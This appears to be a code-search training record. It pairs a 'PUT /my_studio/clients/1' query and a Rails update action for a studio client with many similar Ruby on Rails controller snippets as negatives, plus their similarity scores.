"def create\n @client = current_user.clients.build(client_params)\n\n respond_to do |format|\n if @client.save\n format.html { redirect_to @client, notice: 'Client was successfully created.' }\n format.json { render :show, status: :created, location: @client }\n else\n format.html { render :new }\n format.json { render json: @client.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @client = current_user.clients.build(client_params)\n \n respond_to do |format|\n if @client.save\n format.html { redirect_to @client, notice: 'Client was successfully created.' }\n format.json { render :show, status: :created, location: @client }\n else\n format.html { render :new }\n format.json { render json: @client.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @client = Client.new(client_params)\n\n respond_to do |format|\n if @client.save\n format.html { redirect_to clients_path, notice: 'Client was successfully created.' }\n format.json { render :show, status: :created, location: @client }\n else\n format.html { render :new }\n format.json { render json: @client.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @client = Client.new(client_params)\n\n respond_to do |format|\n if @client.save\n format.html { redirect_to @client, notice: 'client was successfully created.' }\n format.json { render :show, status: :created, location: @client }\n else\n format.html { render :new }\n format.json { render json: @client.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @client = Client.new(client_params)\n respond_to do |format|\n if @client.save\n format.html { redirect_to @client, notice: 'Client was successfully created.' }\n format.json { render :show, status: :created, location: @client }\n else\n format.html { render :new }\n format.json { render json: @client.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @client = Client.new(client_params)\n\n respond_to do |format|\n if @client.save\n format.html { redirect_to @client, notice: 'Client was successfully created.' }\n format.json { render :show, status: :created, location: @client }\n else\n format.html { render :new }\n format.json { render json: @client.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @client = Client.new(client_params)\n\n respond_to do |format|\n if @client.save\n format.html { redirect_to @client, notice: 'Client was successfully created.' }\n format.json { render :show, status: :created, location: @client }\n else\n format.html { render :new }\n format.json { render json: @client.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @client = Client.new(client_params)\n\n respond_to do |format|\n if @client.save\n format.html { redirect_to @client, notice: 'Client was successfully created.' }\n format.json { render :show, status: :created, location: @client }\n else\n format.html { render :new }\n format.json { render json: @client.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @client = Client.create(client_params)\n @clients = Client.all\n flash[:notice]=\"client créé avec succès!!!\"\n end",
"def create\n @client = Client.create(client_params)\n # byebug\n if @client.valid?\n render json: { client: ClientSerializer.new(@client) }, status: :created\n else\n render json: { error: 'failed to create account' }, status: :not_acceptable\n end \n end",
"def create\n @client = Client.new(client_params)\n\n respond_to do |format|\n if @client.save\n format.html { redirect_to @client, notice: \"Client was successfully created.\" }\n format.json { render :show, status: :created, location: @client }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @client.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @client = Client.new(params[:client])\n @client.campaign_id = session[:campaign_id]\n @groups = Group.all.map {|g| [g.name, g.id]}\n\n respond_to do |format|\n if @client.save\n format.html { redirect_to @client, :notice => 'Client was successfully created.' }\n format.json { render :json => @client, :status => :created, :location => @client }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @client.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @client = current_user.clients.new(client_params)\n\n respond_to do |format|\n if @client.save\n format.html { redirect_to @client, notice: 'Event was successfully created.' }\n format.json { render :show, status: :created, location: @client }\n else\n format.html { render :new }\n format.json { render json: @client.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @client = Client.new(client_params)\n\n respond_to do |format|\n if @client.save\n format.html { redirect_to @client, notice: 'Cliente cadastrado com sucesso!' }\n format.json { render :show, status: :created, location: @client }\n else\n format.html { render :new }\n format.json { render json: @client.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @client = current_user.clients.build(client_params)\n\n if @client.save\n render :create, status: :created\n CareeerMailer.trial_end(current_user.email, @client).deliver_later\n CareeerMailer.welcome(current_user.email, @client).deliver_later\n else\n render json: @client.errors, status: :unprocessable_entity\n end\n end",
"def create\n @client = Client.new(client_params)\n\n respond_to do |format|\n if @client.save\n format.html { redirect_to @client, notice: 'Cliente criado com sucesso.' }\n format.json { render :show, status: :created, location: @client }\n else\n format.html { render :new }\n format.json { render json: @client.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\r\n params[:client][:version] = ENV[\"VERSION\"]\r\n params[:client][:domain] = current_user.domain\r\n params[:client][:username] = current_user.username\r\n @client = Client.new(client_params)\r\n\r\n respond_to do |format|\r\n if @client.save\r\n format.html { redirect_to @client, notice: 'Client was successfully created.' }\r\n format.json { render json: @client, status: :created, location: @client }\r\n format.js {}\r\n else\r\n format.html { render action: \"new\" }\r\n format.json { render json: @client.errors, status: :unprocessable_entity }\r\n format.js {}\r\n end\r\n end\r\n end",
"def create\n @clients = get_clients\n @client = Client.new(params[:client])\n\n respond_to do |format|\n if @client.save\n @clients = get_clients\n newVisitOnCreate(@client)\n #format.html { redirect_to @client, notice: 'Client was successfully created.' }\n format.json { render json: @client, status: :created, location: @client }\n format.js\n else\n #format.html { render action: \"index\" }\n format.json { render json: @client.errors, status: :unprocessable_entity }\n format.js\n end\n end\n end",
"def create\n\n client = Cliente.new\n\n client.nombre = params[:nombre]\n client.cedula = params[:cedula]\n client.pagina = params[:pagina]\n\n client.dirrecion = params[:dirrecion]\n client.telefono = params[:telefono]\n \n client.sector = params[:sector]\n \n\n if client.save\n \n\n render(json: client,status: 201 ,location: client)\n else\n\n render(json: client.errors,status: 422 )\n\n end\n end",
"def create_client(name, facebook_id, twitter_handle)\n puts name, facebook_id, twitter_handle\n # Point the HTTP POST method at the clients endpoint of Klipfolio's API.\n response = self.class.post(\"https://app.klipfolio.com/api/1.0/clients\", basic_auth: @auth, headers: { \"Content-Type\" => \"application/json\" },\n body: {\n \"name\": name,\n \"description\": \"\",\n \"seats\": 5,\n \"status\": \"active\"\n }.to_json)\n puts response.body\n puts \"Client was successfully created.\" if response.success?\n\n # Extract the new client's ID from the HTTP response so that it can be passed to the update_features & update_resources methods.\n client_id = response[\"meta\"][\"location\"]\n client_id.slice!(\"/clients/\")\n p client_id\n\n update_resources(client_id)\n update_features(client_id)\n update_company_properties(client_id, facebook_id, twitter_handle)\n create_group(client_id)\n share_dashboard(client_id)\n end",
"def create\n client= Client.new\n client.cedula= params[:cedula]\n client.sector= params[:sector]\n client.nombre= params[:nombre]\n client.telefono= params[:telefono]\n client.pagina= params[:pagina]\n client.direccion= params[:direccion]\n if client.save\n render(json: client, status: 201 , location: client)\n else \n render(json: client.errors, status: 422)\n end\n end",
"def new\n @my_studio_client = MyStudio::Client.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @my_studio_client }\n end\n end",
"def create\n @client = Client.new(params[:client])\n flash[:notice] = 'Client was successfully created.' if @client.save\n respond_with(@client)\n end",
"def create\n @client = Client.new(client_params)\n @client.user_id = current_user.id\n respond_to do |format|\n if @client.save\n format.html { redirect_to @client, notice: 'Client record was successfully created.' }\n format.json { render :show, status: :created, location: @client }\n else\n format.html { render :new }\n format.json { render json: @client.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n\n @client = Client.new(client_params)\n\n #se não aguardar carregar os dados\n if @client.state == '...'\n sweetalert_warning('Você precisa informar o CEP e aguardar os dados do endereço serem preenchidos.', 'Aviso!', useRejections: false)\n redirect_to new_client_path and return\n end\n\n respond_to do |format|\n if @client.save\n format.html { redirect_to @client, notice: 'Cliente criado com sucesso.' }\n format.json { render :show, status: :created, location: @client }\n sweetalert_success('Cliente cadastrado com sucesso.', 'Sucesso!', useRejections: false)\n else\n format.html { render :new }\n format.json { render json: @client.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n \n @labtech_client = LabtechClient.new(labtech_client_params)\n \n \n respond_to do |format|\n if @labtech_client.save\n \n \n \n format.html { redirect_to @labtech_client, notice: 'Client was successfully created.' }\n format.json { render :show, status: :created, location: @labtech_client }\n else\n format.html { render :new }\n format.json { render json: @labtech_client.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @client = Client.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @client }\n end\n end",
"def new\n @client = Client.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @client }\n end\n end",
"def new\n @client = Client.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @client }\n end\n end",
"def new\n @client = Client.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @client }\n end\n end",
"def create\n @client = Client.new(client_params)\n authorize @client\n respond_to do |format|\n if @client.save\n format.html { redirect_back_or_default clients_url, t('Record has been saved') }\n format.json { render :show, status: :created, location: @client }\n format.js { render :show, status: :created, location: @client }\n else\n format.html { render :new }\n format.json { render json: @client.errors, status: :unprocessable_entity }\n format.js { render json: @client.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create_client\n\nend",
"def create\n @client = current_user.clients.new(client_params)\n\n @client.save\n redirect_to @client\n end",
"def create\n @client = Client.new(params[:client])\n \n respond_to do |format|\n if @client.save\n format.html { redirect_to(@client, :notice => \"Client was successfully created. #{undo_link}\") }\n end\n respond_with(@client)\n end\n end",
"def create\n @qa_client = QaClient.new(params[:qa_client])\n\n respond_to do |format|\n if @qa_client.save\n format.html { redirect_to @qa_client, notice: 'Qa client was successfully created.' }\n format.json { render json: @qa_client, status: :created, location: @qa_client }\n else\n format.html { render action: \"new\" }\n format.json { render json: @qa_client.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @client = Client.new(params[:client])\n\n respond_to do |format|\n if @client.save\n format.html { redirect_to @client, notice: 'Client was successfully created.' }\n format.json { render json: @client, status: :created, location: @client }\n format.js\n else\n format.html { render action: \"new\" }\n format.json { render json: @client.errors, status: :unprocessable_entity }\n format.js\n end\n end\n end",
"def create\n @clientsOffers = ClientsOffers.new(params[:clientsOffers])\n\n respond_to do |format|\n if @clientsOffers.save\n format.html { redirect_to @clientsOffers, notice: 'ClientsOffers was succesfully created.' }\n format.json { render json: @clientsOffers, status: :created, location: @clientsOffers }\n else\n format.html { render action: \"new\" }\n format.json { render json: @clientsOffers.errors, status: :unprocesable_entity }\n end\n end\n end",
"def create\n @client = Client.new(params[:client])\n\n respond_to do |format|\n if @client.save\n format.html { redirect_to(@client, :notice => 'Client was successfully created.') }\n format.xml { render :xml => @client, :status => :created, :location => @client }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @client.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @client = Client.new(client_params)\n respond_to do |format|\n # if @client.valid? \n if @client.save\n format.html { redirect_to @client, notice: 'Client was successfully created.' }\n format.json { render :show, status: :created, location: @client }\n else\n format.html { render :new }\n format.json { render json: @client.errors, status: :unprocessable_entity }\n end\n # else\n # format.html { render :new }\n # format.json { render json: @client.errors, status: :unprocessable_entity }\n # end\n end\n end",
"def create\n @client = Client.new(client_params)\n\n respond_to do |format|\n if @client.save\n format.html { redirect_to(@client, :notice => 'Le client a bien été créé.') }\n format.xml { render :xml => @client, :status => :created, :location => @client }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @client.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @client = Client.new(params[:client])\n @uuid = params[:uuid]\n respond_to do |format|\n if @client.save\n format.html { redirect_to :controller => 'ads', :action => 'admin_dash', :id => 1, :uuid => @uuid, notice: 'Client was successfully created.' }\n format.json { render json: @client, status: :created, location: @client }\n else\n format.html { render action: \"new\" }\n format.json { render json: @client.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @client = Client.new(client_params)\n\n respond_to do |format|\n if @client.save\n format.html { redirect_to admin_client_path(@client, search: params[:search], page: params[:page]),\n notice: 'Клиент успешно создан.' }\n format.json { render :show, status: :created, location: @client }\n else\n format.html { render :new }\n format.json { render json: @client.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @client = clients.new(params[:client])\n\n if @client.save\n flash[:notice] = 'Customer was successfully created.'\n redirect_to(user_company_clients_url(current_company))\n else\n render :action => \"new\"\n end\n end",
"def create(client)\n @client = Locomotive::Client.new(client)\n\n if @client.save\n redirect resource(@client), :message => {:notice => \"Client was successfully created\"}\n else\n render :new\n end\n end",
"def create\n @client = Client.new(client_params)\n respond_to do |format|\n if @client.save\n format.html { redirect_to(@client, :notice => 'Client was successfully created.') }\n format.xml { render :xml => @client, :status => :created, :location => @client }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @client.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @otg_client = OtgClient.new(otg_client_params)\n\n respond_to do |format|\n if @otg_client.save\n format.html { redirect_to @otg_client, notice: 'Otg client was successfully created.' }\n format.json { render :show, status: :created, location: @otg_client }\n else\n format.html { render :new }\n format.json { render json: @otg_client.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n authorize! :create, Client\n build_client\n save_client or render :new\n end",
"def create_client\n if current_admin.present?\n @client = Client.new(params[:client])\n respond_to do |format|\n if @client.save\n flash[:notice] = \"Client has been successfully added!\"\n format.html { redirect_to root_url }\n format.json { render json: @client, status: :created, location: @client }\n else\n format.html { render action: \"new\" }\n format.json { render json: @client.errors, status: :unprocessable_entity }\n end\n end\n else\n redirect_to new_admin_session_path and return\n end \n end",
"def create\n #create the object of client and assign the attributes in the request\n @client = Client.new(params[:client])\n \n #save the client\n if @client.save\n #if saved, return and redirect to client show page with success message\n return redirect_to client_path(@client), notice: \"client created successfuly\"\n else\n #if not saved, render the form with error messages\n return render action: :new\n end\n end",
"def create_client(options = {})\n post(:clients, clients: [options]).pop\n end",
"def create\n @client = Client.new(client_params)\n authorize! :create, @client\n\n respond_to do |format|\n if not @client.caseworker.can_add_clients?\n @client.errors[:base] << \"You are past your limit. Please come back later.\"\n format.html { render :action => \"new\" }\n format.json { render :json => @client.errors, :status => :unprocessable_entity }\n elsif @client.save\n format.html { redirect_to @client, :notice => 'Client was successfully created.' }\n format.json { render :json => @client, :status => :created, :location => @client }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @client.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @client = Client.new(params[:client])\n\n respond_to do |format|\n if @client.save\n flash[:notice] = 'Client was successfully created.'\n format.html { redirect_to(@client) }\n format.xml { render :xml => @client, :status => :created, :location => @client }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @client.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @live_client = LiveClient.new(live_client_params)\n\n respond_to do |format|\n if @live_client.save\n format.html { redirect_to @live_client, notice: 'Live client was successfully created.' }\n format.json { render :show, status: :created, location: @live_client }\n else\n format.html { render :new }\n format.json { render json: @live_client.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @clientes_servico = ClientesServico.new(clientes_servico_params)\n\n respond_to do |format|\n if @clientes_servico.save\n format.html { redirect_to @clientes_servico, notice: 'Clientes servico was successfully created.' }\n format.json { render action: 'show', status: :created, location: @clientes_servico }\n else\n format.html { render action: 'new' }\n format.json { render json: @clientes_servico.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @client = Client.new(client_params)\n\n respond_to do |format|\n if @client.save\n\n format.js\n\n format.html { redirect_to root_path, notice: 'Vous avez bien été ajouté à notre newsletter' }\n\n format.json { render :show, status: :created, location: @client }\n\n else\n\n format.html { render :new }\n\n format.json { render json: @client.errors, status: :unprocessable_entity }\n\n end\n end\n end",
"def new\n @client = Client.new\n # @client.contacts.build\n # @client.meetings.build\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @client }\n format.js\n end\n end",
"def create\n @client = Client.new(params[:client])\n \n respond_to do |format|\n if @client.save\n flash[:notice] = 'Client was successfully created.'\n format.html { redirect_to client_url(@role) }\n format.xml { head :created, :location => client_url(@role) }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @client.errors.to_xml }\n end\n end\n end",
"def client_create(global_options, options)\n result = Excon.post(\n \"#{global_options[:fenton_server_url]}/clients.json\",\n body: client_json(options),\n headers: { 'Content-Type' => 'application/json' }\n )\n\n [result.status, JSON.parse(result.body)]\n end",
"def create\n @model = ClientService.new(model_params)\n\n respond_to do |format|\n if @model.save\n format.json { render :show, status: :created, location: @model }\n else\n format.json { render json: @model.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @client = Client.new(params[:client])\n\n respond_to do |format|\n if @client.save\n\t\tClientMailer.registration_confirmation(@client).deliver\n\t\tCountry.create!({'clientkey'=>@client.id, 'country'=>@client.country})\n format.html { redirect_to @client, notice: 'Client was successfully created.' }\n format.json { render json: @client, status: :created, location: @client }\n else\n format.html { render action: \"new\" }\n format.json { render json: @client.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @group_client = GroupClient.new(group_client_params)\n\n respond_to do |format|\n if @group_client.save\n format.html { redirect_to @group_client, flash: { success: \"Group client was successfully created.\" } }\n format.json { render action: 'show', status: :created, location: @group_client }\n else\n format.html { render action: 'new' }\n format.json { render json: @group_client.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @client = Client.new\n 1.times { @client.projects.build }\n 1.times { @client.notes.build }\n respond_with(@client)\n end",
"def create\n @id = client_params[:id].to_i\n @message = ''\n\n if @id.nil? || @id == 0\n @client = Client.new(client_params)\n else\n @client = Client.find_by_id(@id)\n end\n\n if @client.valid?\n if @client.id == 0 || @client.id.nil? \n @client.save()\n else\n @client.update(client_params)\n end\n else\n @message = @client.errors.messages\n end\n\n render json:{client: @client, message: @message}\n end",
"def index\n @clients = Client.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @clients }\n end\n\n end",
"def create\n @client = Client.new(client_params)\n\n if @client.save\n redirect_to @client, notice: 'Client was successfully created.'\n else\n render :new\n end\n end",
"def create\n name = shift_argument\n url = shift_argument\n\n unless name && url\n raise(Heroku::Command::CommandFailed, \"Usage: clients:register [NAME] [CALLBACK_URL]\")\n end\n\n validate!(url)\n client = request do\n api.request(\n :body => encode_json(\n { :name => name, :redirect_uri => url }),\n :expects => 201,\n :headers => headers,\n :method => :post,\n :path => \"/oauth/clients\"\n ).body\n end\n\n if options[:shell]\n puts \"HEROKU_OAUTH_ID=#{client[\"id\"]}\"\n puts \"HEROKU_OAUTH_SECRET=#{client[\"secret\"]}\"\n else\n styled_header(%{Registered client \"#{name}\".})\n styled_hash(client)\n end\n end",
"def create\n @cliente = Cliente.new(params[:cliente])\n\n respond_to do |format|\n if @cliente.save\n format.html { redirect_to @cliente, notice: 'Cliente was successfully created.' }\n format.json { render json: @cliente, status: :created, location: @cliente }\n else\n format.html { render action: \"new\" }\n format.json { render json: @cliente.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @cliente = Cliente.new(params[:cliente])\n\n respond_to do |format|\n if @cliente.save\n format.html { redirect_to @cliente, notice: 'Cliente was successfully created.' }\n format.json { render json: @cliente, status: :created, location: @cliente }\n else\n format.html { render action: \"new\" }\n format.json { render json: @cliente.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n @clients = Client.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @clients }\n end\n end",
"def create\n @secubat_client = SecubatClient.new(secubat_client_params)\n\n respond_to do |format|\n if @secubat_client.save\n if params[\"commit\"] == \"Sauvegarder et Ajouter un nouveau client\"\n format.html { redirect_to new_secubat_client_path, notice: 'Ajout du client OK.' }\n else\n format.html { redirect_to @secubat_client, notice: 'Ajout du client OK.' }\n format.json { render json: @secubat_client, status: :created, location: @secubat_client }\n end\n else\n format.html { render action: \"new\" }\n format.json { render json: @secubat_client.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n\n @client = Client.new(client_params)\n @client.business_owner_id = helpers.current_business_owner.id\n\n if @client.save\n flash[:notice] = \"#{@client.name} was added as a new client.\"\n redirect_to clients_path\n else\n render :new\n end\n end",
"def create\n @cliente = Cliente.new(params[:cliente])\n \n respond_to do |format|\n if @cliente.save\n format.html { redirect_to edit_cliente_path(@cliente), notice: 'Cliente was successfully created.' }\n format.json { render json: @cliente , status: :created, location: @cliente }\n else\n format.html { render action: \"new\" }\n format.json { render json: @cliente.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n @clients = current_user.clients\n render json: @clients\n end",
"def add_client\n\n\t\t@clients = Client.new(client_params)\n\t\tif @clients.save\n\t\t\tredirect_to '/details'\n\t\telse\n\t\t\trender 'index'\n\t\tend\n\tend",
"def create\n @invoice_client = InvoiceClient.new(invoice_client_params)\n\n respond_to do |format|\n if @invoice_client.save\n format.html { redirect_to @invoice_client, notice: 'Invoice client was successfully created.' }\n format.json { render :show, status: :created, location: @invoice_client }\n else\n format.html { render :new }\n format.json { render json: @invoice_client.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n\t\t@client = User.create(clients_params)\n\t\tif @client.save\n flash[:success] = \"Record saved successfully.\"\n\t\t\tredirect_to clients_params\n else\n @error = @client.errors.full_messages\n redirect_to clients_params\n\t\tend\n\tend",
"def create\n @client = Client.new(params[:client])\n\n if @client.password == nil then @client.password = temp_password && @client.password_confirmation = temp_password end\n password = @client.password\n\n respond_to do |format|\n if @client.save\n ClientMailer.new_client(@client, password).deliver\n format.html { redirect_to project_url(:id => @client.project_id, :page => 'options'), notice: 'Client was successfully created.' }\n format.json { render json: @client, status: :created, location: @client }\n else\n format.html { render action: \"new\" }\n format.json { render json: @client.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @client = Client.new\n @uuid = params[:uuid]\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @client }\n end\n end",
"def createClient(subdomain, username, password, identifier, header)\n\tpayload = {client: {\n name: 'Ruby HTTP Request',\n identifier: identifier\n }\n }\n\turi = URI.parse(\"https://\"+subdomain+\".zendesk.com/api/v2/oauth/clients.json\")\n\thttp = Net::HTTP.new(uri.host, uri.port)\n\thttp.use_ssl = true\n\trequest = Net::HTTP::Post.new(uri.request_uri, header)\n\trequest.basic_auth(username, password)\n\trequest.body = payload.to_json\n\tresponse = http.request(request)\n\tdata = JSON.parse(response.body)\n\tputs \"Creating OAuth Client \" + identifier\n\tputs data\n\treturn data[\"client\"][\"id\"]\nend",
"def new\n @client = Client.new\n\t\tcontact_type = ContactType.find_by_default_selection(true)\n\t\[email protected]( :contact_type => contact_type )\n\t\[email protected]\n\t\[email protected]\n\t\[email protected]_agencies.build\n\t\[email protected]_sentences.build\n\t\[email protected]_classes.build\n\t\[email protected]_substances.build\n\n respond_to do |format|\n format.html { render :layout=>'client_new' }\n format.xml { render :xml => @client }\n end\n end",
"def create\n @client = Client.new(client_params)\n if @client.save\n redirect_to client_path(@client)\n else\n render ‘new’\n end\n end",
"def create\n @player_client = PlayerClient.new(params[:player_client])\n\n respond_to do |format|\n if @player_client.save\n format.html { redirect_to @player_client, notice: 'Player client was successfully created.' }\n format.json { render json: @player_client, status: :created, location: @player_client }\n else\n format.html { render action: \"new\" }\n format.json { render json: @player_client.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @cliente = Cliente.new(params[:cliente])\n\n respond_to do |format|\n if @cliente.save\n format.html { redirect_to @cliente, notice: 'Cliente criado com sucesso.' }\n format.json { render json: @cliente, status: :created, location: @cliente }\n else\n format.html { render action: \"new\" }\n format.json { render json: @cliente.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @client = Client.new\n @account = current_user.account\n @user = current_user\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @client }\n end\n end",
"def new\r\n @client = Client.new\r\n\r\n respond_to do |format|\r\n format.html # new.html.erb\r\n format.json { render json: @client }\r\n\t format.js {}\r\n end\r\n end",
"def index\n @clients = Client.all\n @uuid = params[:uuid]\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @clients }\n end\n end",
"def create\n @client = Client.new(params[:client])\n respond_to do |format|\n if @client.save\n @user = @client.complete_user\n flash[:notice] = 'Client was successfully created.'\n set_login_cookie(@user.get_psv)\n format.html { redirect_to(settings_path()) }\n format.xml { render :xml => @client, :status => :created, :location => @client }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @client.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @enabled_client = EnabledClient.new(enabled_client_params)\n\n respond_to do |format|\n if @enabled_client.save\n format.html { redirect_to @enabled_client, notice: 'Enabled client was successfully created.' }\n format.json { render :show, status: :created, location: @enabled_client }\n else\n format.html { render :new }\n format.json { render json: @enabled_client.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n\t\tnew_types = params[:client][:new_status_type_ids]\n\t\tnew_types ||= []\n\t\t\n\t\tparams[:client].delete :new_status_type_ids\n\t\t\n @client = Client.new(params[:client])\n\t\t\n\t\tnew_types.each do |type_id|\n\t\t\tstatus = StatusType.find(type_id)\n\t\t\[email protected]_status_types << AssignedStatusType.new(:start_date => Time.now, :status_type=>status)\n\t\tend\n\n respond_to do |format|\n if @client.save\n flash[:notice] = 'Client was successfully created.'\n format.html { redirect_to(client_url(@client)) }\n format.xml { render :xml => @client, :status => :created, :location => @client }\n else\n\t\t\t\t@crime_sentence = @client.crime_sentences.first\n\t\t\t\t@errors = @client.errors\n format.html { render :action => \"new\" }\n format.xml { render :xml => @client.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @client = Client.find(params[:client_id])\n @project = @client.projects.build(project_params)\n\n respond_to do |format|\n if @project.save\n format.html { redirect_to client_projects_path(@client), notice: 'Project was successfully created.' }\n format.json { render json: client_projects_path(@client), status: :created, location: @project }\n else\n format.html { render action: \"new\" }\n format.json { render json: client_projects_path(@client).errors, status: :unprocessable_entity }\n end\n end\n end",
"def add_client\n name = get_answer_to(\"What is the client\\'s name?\")\n age = get_answer_to(\"What is the client\\'s age?\")\n new_client = Clients.new(name, age)\n @clients << new_client\n end",
"def new\n @client = Client.new\n 1.times { @client.phones.build }\n 1.times { @client.emails.build }\n 1.times { @client.addresses.build }\n #@phone = Phone.new\n #@email = Email.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @client}\n end\n end"
] |
[
"0.6985674",
"0.69118863",
"0.69086176",
"0.68978786",
"0.6862849",
"0.6831136",
"0.6831136",
"0.6831136",
"0.68026286",
"0.68024534",
"0.67850745",
"0.6782355",
"0.6761243",
"0.6761148",
"0.6761148",
"0.6761148",
"0.67517227",
"0.6743733",
"0.67414093",
"0.67366785",
"0.6718484",
"0.6714917",
"0.67100745",
"0.66629034",
"0.6662398",
"0.6662035",
"0.66292256",
"0.66287005",
"0.6614708",
"0.66068715",
"0.6606393",
"0.65725476",
"0.65538937",
"0.65371716",
"0.647944",
"0.647944",
"0.647944",
"0.647944",
"0.64657897",
"0.646405",
"0.64401466",
"0.64346707",
"0.64300334",
"0.64191586",
"0.64172554",
"0.64166963",
"0.6409653",
"0.6389575",
"0.63788694",
"0.63769346",
"0.6370821",
"0.6364323",
"0.6354942",
"0.6345285",
"0.63400865",
"0.6335753",
"0.63164264",
"0.63063866",
"0.63028824",
"0.62946564",
"0.6286604",
"0.6284688",
"0.62801355",
"0.62729234",
"0.62720543",
"0.625896",
"0.6253906",
"0.6243109",
"0.6207596",
"0.62010396",
"0.61811566",
"0.6161755",
"0.61595476",
"0.61468434",
"0.61456776",
"0.61456776",
"0.6135223",
"0.6135154",
"0.61184883",
"0.6114281",
"0.61111504",
"0.6106444",
"0.6103474",
"0.60989016",
"0.6098193",
"0.609575",
"0.6088843",
"0.6083888",
"0.60816044",
"0.6076823",
"0.60704035",
"0.6057446",
"0.6051354",
"0.6049732",
"0.6042964",
"0.60220134",
"0.60217434",
"0.6018655",
"0.6014055",
"0.6013115"
] |
0.7284644
|
0
|
PUT /my_studio/clients/1 PUT /my_studio/clients/1.json
|
def update
@my_studio_client = MyStudio::Client.find(params[:id])
respond_to do |format|
if @my_studio_client.update_attributes(params[:my_studio_client])
format.html { redirect_to @my_studio_client, notice: 'Client was successfully updated.' }
format.json { head :ok }
else
format.html { render action: "edit" }
format.json { render json: @my_studio_client.errors, status: :unprocessable_entity }
end
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def update\n @client.update(client_params)\n render json: @client\n end",
"def update\n authorize! :update, Client\n load_client\n build_client\n save_client or render :edit\n end",
"def update\r\n params[:client][:version] = ENV[\"VERSION\"]\r\n params[:client][:username] = current_user.username\r\n @client = Client.find(params[:id])\r\n\r\n respond_to do |format|\r\n if @client.update_attributes(client_params)\r\n format.html { redirect_to @client, notice: 'Client was successfully updated.' }\r\n format.json { head :no_content }\r\n else\r\n format.html { render action: \"edit\" }\r\n format.json { render json: @client.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end",
"def update\n\n respond_to do |format|\n if @studio_client.update(studio_client_params)\n format.html { redirect_to edit_admin_studio_client_path(@studio_client), notice: 'Studio client was successfully updated.' }\n format.json { render :show, status: :ok, location: @studio_client }\n else\n Rails.logger.info(@studio_client.errors.inspect)\n format.html { render :edit }\n format.json { render json: @studio_client.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n client=Client.find_by_id params[:id]\n if client!= nil\n client.cedula=params[:cedula] ? params[:cedula]: client.cedula\n client.sector=params[:sector] ? params[:sector]: client.sector\n client.nombre=params[:nombre] ? params[:nombre]: client.nombre\n client.telefono=params[:telefono] ? params[:telefono]: client.telefono\n client.pagina=params[:pagina] ? params[:pagina]: client.pagina\n client.direccion=params[:direccion] ? params[:direccion]: client.direccion\n if client.save\n render(json: client, status: 201)\n end \n else\n render(json: client.errors, status: 404)\n end \n end",
